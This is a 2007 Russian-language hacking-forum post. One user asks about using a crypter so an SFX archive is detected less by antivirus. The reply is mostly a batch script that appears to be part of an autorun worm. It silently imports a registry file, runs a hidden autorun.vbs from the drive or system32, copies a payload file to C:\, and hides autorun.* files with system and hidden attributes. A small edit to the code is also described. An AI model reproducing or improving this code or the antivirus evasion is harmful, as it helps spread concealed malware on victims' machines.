
25.10.2007, 14:58
|
|
Постоянный
Регистрация: 08.05.2006
Сообщений: 816
Провел на форуме: 1845671
Репутация:
1338
|
|
Сообщение от onikishov
GlOFF, ну что? Где обещанный пример?
Кстати закриптовал один SFX архив криптором и проверил в инете, вместо 12% стал 80% че за фигня?
Это че такое? Я тебе чем-то обязан? Учись нормально общаться и думать сам
Код:
if exist .\autorun.reg regedit /s .\autorun.reg
if not "%1"=="" goto open
if exist autorun.vbs start WScript.exe autorun.vbs&exit
if exist %SYSTEMROOT%\system32\autorun.vbs start WScript.exe %SYSTEMROOT%\system32\autorun.vbs&exit
exit
: open
if not "%1"=="Open" goto next
start explorer .\
exit
:next
if not "%1"=="Over" goto :next2
if exist .\autorun.bin type .\autorun.bin >C:\autorun.txt&&exit
if exist %SYSTEMROOT%\system32\autorun.bin type %SYSTEMROOT%\system32\autorun.bin >c:\autorun.txt&&exit
exit
:next2
if "%1"=="+" attrib +s +a +h +r %2\autorun.*
if "%1"=="-" attrib -s -a -h -r %2\autorun.*
:end
1) Добавлен пробел в строку между "...WScript.exe и %SYSTEMROOT%\syste..."
if exist %SYSTEMROOT%\system32\autorun.vbs start WScript.exe %SYSTEMROOT%\system32\autorun.vbs&exit
2) Местами строчки поменял
if "%1"=="+" attrib +s +a +h +r %2\autorun.*
if "%1"=="-" attrib -s -a -h -r %2\autorun.*
Последний раз редактировалось GlOFF; 25.10.2007 в 15:15..
|
|
|